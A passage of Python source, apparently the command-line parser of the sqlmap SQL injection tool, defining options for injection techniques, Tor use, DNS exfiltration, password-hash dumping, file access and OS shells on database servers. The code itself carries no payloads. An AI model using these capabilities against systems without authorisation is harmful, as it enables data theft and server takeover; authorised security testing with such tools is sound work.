lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IGNORED_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory from thirdparty.six.moves import input as _input def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ if not argv: argv = sys.argv checkSystemEncoding() # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) parser = ArgumentParser(usage=usage) try: parser.add_argument("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") parser.add_argument("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") parser.add_argument("-v", dest="verbose", type=int, help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") target.add_argument("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_argument("-d", dest="direct", help="Connection string for direct database connection") target.add_argument("-l", dest="logFile", help="Parse target(s) from Burp or WebScarab proxy log file") target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given in a textual file ") target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") target.add_argument("-g", dest="googleDork", help="Process Google dork results as target URLs") target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") request.add_argument("-A", "--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_argument("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", help="Data string to be sent through POST (e.g. \"id=1\")") request.add_argument("--param-del", dest="paramDel", help="Character used for splitting parameter values (e.g. &)") request.add_argument("--cookie", dest="cookie", help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") request.add_argument("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values (e.g. ;)") request.add_argument("--live-cookies", dest="liveCookies", help="Live cookies file used for loading up-to-date values") request.add_argument("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_argument("--http1.0", dest="http10", action="store_true", help="Use HTTP version 1.0 (old)") request.add_argument("--http2", dest="http2", action="store_true", help="Use HTTP version 2 (experimental)") request.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") request.add_argument("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_argument("--host", dest="host", help="HTTP Host header value") request.add_argument("--referer", dest="referer", help="HTTP Referer header value") request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_argument("--auth-type", dest="authType", help="HTTP authentication type (Basic, Digest, Bearer, ...)") request.add_argument("--auth-cred", dest="authCred", help="HTTP authentication credentials (name:password)") request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_argument("--abort-code", dest="abortCode", help="Abort on (problematic) HTTP error code(s) (e.g. 401)") request.add_argument("--ignore-code", dest="ignoreCode", help="Ignore (problematic) HTTP error code(s) (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", help="Ignore redirection attempts") request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", help="Ignore connection timeouts") request.add_argument("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_argument("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials (name:password)") request.add_argument("--proxy-file", dest="proxyFile", help="Load proxy list from a file") request.add_argument("--proxy-freq", dest="proxyFreq", type=int, help="Requests between change of proxy from a given list") request.add_argument("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") request.add_argument("--tor-port", dest="torPort", help="Set Tor proxy port other than default") request.add_argument("--tor-type", dest="torType", help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") request.add_argument("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") request.add_argument("--delay", dest="delay", type=float, help="Delay in seconds between each HTTP request") request.add_argument("--timeout", dest="timeout", type=float, help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_argument("--retries", dest="retries", type=int, help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_argument("--retry-on", dest="retryOn", help="Retry request on regexp matching content (e.g. \"drop\")") request.add_argument("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") request.add_argument("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") request.add_argument("--safe-post", dest="safePost", help="POST data to send to a safe URL") request.add_argument("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, help="Regular requests between visits to a safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_argument("--skip-xmlencode", dest="skipXmlEncode", action="store_true", help="Skip safe encoding of payload data for SOAP/XML") request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") request.add_argument("--csrf-url", dest="csrfUrl", help="URL address to visit for extraction of anti-CSRF token") request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") request.add_argument("--csrf-data", dest="csrfData", help="POST data to send during anti-CSRF token page visit") request.add_argument("--csrf-retries", dest="csrfRetries", type=int, help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_argument("--chunked", dest="chunked", action="store_true", help="Use HTTP chunked transfer encoded (POST) requests") request.add_argument("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_argument("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") optimization.add_argument("--threads", dest="threads", type=int, help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_argument("-p", dest="testParameter", help="Testable parameter(s)") injection.add_argument("--skip", dest="skip", help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_argument("--param-filter", dest="paramFilter", help="Select testable parameter(s) by place (e.g. \"POST\")") injection.add_argument("--dbms", dest="dbms", help="Force back-end DBMS to provided value") injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") injection.add_argument("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") injection.add_argument("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") injection.add_argument("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_argument("--prefix", dest="prefix", help="Injection payload prefix string") injection.add_argument("--suffix", dest="suffix", help="Injection payload suffix string") injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") detection.add_argument("--level", dest="level", type=int, help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_argument("--risk", dest="risk", type=int, help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_argument("--string", dest="string", help="String to match when query is evaluated to True") detection.add_argument("--not-string", dest="notString", help="String to match when query is evaluated to False") detection.add_argument("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") detection.add_argument("--smart", dest="smart", action="store_true", help="Perform thorough tests only if positive heuristic(s)") detection.add_argument("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") detection.add_argument("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_argument("--disable-stats", dest="disableStats", action="store_true", help="Disable the statistical model for detecting the delay") techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_argument("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") techniques.add_argument("--union-values", dest="uValues", help="Column values to use for UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") enumeration.add_argument("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") enumeration.add_argument("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_argument("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") enumeration.add_argument("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_argument("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_argument("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") enumeration.add_argument("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") enumeration.add_argument("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") enumeration.add_argument("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") enumeration.add_argument("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") enumeration.add_argument("--comments", dest="getComments", action="store_true", help="Check for DBMS comments during enumeration") enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") enumeration.add_argument("-T", dest="tbl", help="DBMS database table(s) to enumerate") enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") enumeration.add_argument("-X", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", help="DBMS user to enumerate") enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when enumerating tables") enumeration.add_argument("--pivot-column", dest="pivotColumn", help="Pivot column name") enumeration.add_argument("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") enumeration.add_argument("--start", dest="limitStart", type=int, help="First dump table entry to retrieve") enumeration.add_argument("--stop", dest="limitStop", type=int, help="Last dump table entry to retrieve") enumeration.add_argument("--first", dest="firstChar", type=int, help="First query output word character to retrieve") enumeration.add_argument("--last", dest="lastChar", type=int, help="Last query output word character to retrieve") enumeration.add_argument("--sql-query", dest="sqlQuery", help="SQL statement to be executed") enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") brute.add_argument("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") brute.add_argument("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") brute.add_argument("--common-files", dest="commonFiles", action="store_true", help="Check existence of common files") # User-defined function options udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_argument("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") udf.add_argument("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") filesystem.add_argument("--file-read", dest="fileRead", help="Read a file from the back-end DBMS file system") filesystem.add_argument("--file-write", dest="fileWrite", help="Write a local file on the back-end DBMS file system") filesystem.add_argument("--file-dest", dest="fileDest", help="Back-end DBMS absolute filepath to write to") # Takeover options takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_argument("--os-cmd", dest="osCmd", help="Execute an operating system command") takeover.add_argument("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating system shell") takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_argument("--msf-path", dest="msfPath", help="Local path where Metasploit Framework is installed") takeover.add_argument("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files directory") # Windows registry options windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") windows.add_argument("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") windows.add_argument("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") windows.add_argument("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") windows.add_argument("--reg-key", dest="regKey", help="Windows registry key") windows.add_argument("--reg-value", dest="regVal", help="Windows registry key value") windows.add_argument("--reg-data", dest="regData", help="Windows registry key value data") windows.add_argument("--reg-type", dest="regType", help="Windows registry key value type") # General options general = parser.add_argument_group("General", "These options can be used to set some general working parameters") general.add_argument("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", help="Abort data retrieval on empty results") general.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") general.add_argument("--base64", dest="base64Parameter", help="Parameter(s) containing Base64 encoded data") general.add_argument("--base64-safe", dest="base64Safe", action="store_true", help="Use URL and filename safe Base64 alphabet (RFC 4648)") general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") general.add_argument("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") general.add_argument("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") general.add_argument("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables") general.add_argument("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") general.add_argument("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_argument("--csv-del", dest="csvDel", help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_argument("--dump-file", dest="dumpFile", help="Store dumped data to a custom file") general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") general.add_argument("--eta", dest="eta", action="store_true", help="Display for each output the estimated time of arrival") general.add_argument("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") general.add_argument("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") general.add_argument("--gpage", dest="googlePage", type=int, help="Use Google dork results from specified page number") general.add_argument("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") general.add_argument("--hex", dest="hexConvert", action="store_true", help="Use hex conversion during data retrieval") general.add_argument("--output-dir", dest="outputDir", action="store", help="Custom output directory path") general.add_argument("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", help="Use given script(s) for preprocessing (request)") general.add_argument("--postprocess", dest="postprocess", help="Use given script(s) for postprocessing (response)") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_argument("--scope", dest="scope", help="Regexp for filtering targets") general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", help="Skip heuristic detection of vulnerabilities") general.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") general.add_argument("--table-prefix", dest="tablePrefix", help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_argument("--time-limit", dest="timeLimit", type=float, help="Run with a time limit in seconds (e.g. 3600)") general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", help="Disable escaping of DBMS identifiers (e.g. \"user\")") general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") miscellaneous.add_argument("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_argument("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") miscellaneous.add_argument("--beep", dest="beep", action="store_true", help="Beep on question and/or when vulnerability is found") miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", help="Disable hash analysis on table dumps") miscellaneous.add_argument("--gui", dest="gui", action="store_true", help="Experimental Tkinter GUI") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", help="Disable logging to a file") miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", help="Disable console output truncation (e.g. long entr...)") miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_argument("--purge", dest="purge", action="store_true", help="Safely remove all content from sqlmap data directory") miscellaneous.add_argument("--results-file", dest="resultsFile", help="Location of CSV results file in multiple targets mode") miscellaneous.add_argument("--shell", dest="shell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") miscellaneous.add_argument("--tui", dest="tui", action="store_true", help="Experimental ncurses TUI") miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") miscellaneous.add_argument("--update", dest="updateAll", action="store_true", help="Update sqlmap") miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_argument("--crack", dest="hashFile", help=SUPPRESS) # "Load and crack hashes from a file (standalone)" parser.add_argument("--dummy", dest="dummy", action="store_true", help=SUPPRESS) parser.add_argument("--yuge", dest="yuge", action="store_true", help=SUPPRESS) parser.add_argument("--murphy-rate", dest="murphyRate", type=int, help=SUPPRESS) parser.add_argument("--debug", dest="debug", action="store_true", help=SUPPRESS) parser.add_argument("--deprecations", dest="deprecations", action="store_true", help=SUPPRESS) parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", help=SUPPRESS) parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) parser.add_argument("--localhost", dest="localhost", action="store_true", help=SUPPRESS) parser.add_argument("--force-dbms", dest="forceDbms", help=SUPPRESS) parser.add_argument("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS) parser.add_argument("--force-partial", dest="forcePartial", action="store_true", help=SUPPRESS) parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", help=SUPPRESS) parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) parser.add_argument("--disable-json", dest="disableJson", action="store_true", help=SUPPRESS) # API options parser.add_argument("--api", dest="api", action="store_true", help=SUPPRESS) parser.add_argument("--taskid", dest="taskid", help=SUPPRESS) parser.add_argument("--database", dest="database", help=SUPPRESS) # Dirty hack to display longer options without breaking into two lines if hasattr(parser, "formatter"): def _(self, *args): retVal = parser.formatter._format_option_strings(*args) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal return retVal parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) else: def _format_action_invocation(self, action): retVal = self.__format_action_invocation(action) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal return retVal parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation parser.formatter_class._format_action_invocation = _format_action_invocation # Dirty hack for making a short option '-hh' if hasattr(parser, "get_option"): option = parser.get_option("--hh") option._short_opts = ["-hh"] option._long_opts = [] else: for action in get_actions(parser): if action.option_strings == ["--hh"]: action.option_strings = ["-hh"] break # Dirty hack for inherent help message of switch '-h' if hasattr(parser, "get_option"): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") else: for action in get_actions(parser): if action.option_strings == ["-h", "--help"]: action.help = action.help.capitalize().replace("this help", "basic help") break _ = [] advancedHelp = True extraHeaders = [] auxIndexes = {} # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ checkOldOptions(argv) if "--gui" in argv: from lib.utils.gui import runGui runGui(parser) raise SqlmapSilentQuitException elif "--tui" in argv: from lib.utils.tui import runTui runTui(parser) raise SqlmapSilentQuitException elif "--shell" in argv: _createHomeDirectories() parser.usage = "" cmdLineOptions.sqlmapShell = True commands = set(("x", "q", "exit", "quit", "clear")) commands.update(get_all_options(parser)) autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None prompt = "sqlmap > " try: # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) command = _input(prompt).strip() except (KeyboardInterrupt, EOFError): print() raise SqlmapShellQuitException command = re.sub(r"(?i)\Anew\s+", "", command or "") if not command: continue elif command.lower() == "clear": clearHistory() dataToStdout("[i] history cleared\n") saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': if not re.search(r"(?i)\A(\?|help)\Z", command): dataToStdout("[!] invalid option(s) provided\n") dataToStdout("[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError as ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) for i in xrange(len(argv)): # Reference: https://en.wiktionary.org/wiki/- argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) # Reference: https://unicode-table.com/en/sets/quotation-marks/ argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") if argv[i] == "-hh": argv[i] = "-h" elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w{3,}", argv[i]): if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): argv[i] = "-%s" % argv[i] elif argv[i] in IGNORED_OPTIONS: argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" elif argv[i] in ("-s", "--silent"): if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): argv[i] = "" conf.verbose = 0 elif argv[i].startswith("--data-raw"): argv[i] = argv[i].replace("--data-raw", "--data", 1) elif argv[i].startswith("--auth-creds"): argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) elif argv[i].startswith("--drop-cookie"): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) elif re.search(r"\A--tamper[^=\s]", argv[i]): argv[i] = "" elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) if index is None: index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) auxIndexes[key] = index else: delimiter = ',' argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): if '=' in argv[i]: extraHeaders.append(argv[i].split('=', 1)[1]) elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif argv[i] == "--deps": argv[i] = "--dependencies" elif argv[i] == "--disable-colouring": argv[i] = "--disable-coloring" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] if os.path.isfile(value): argv[i + 1] += ",%s" % value argv[j] = '' else: break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": print(VERSION_STRING.split('/')[-1]) raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False for group in get_groups(parser)[:]: found = 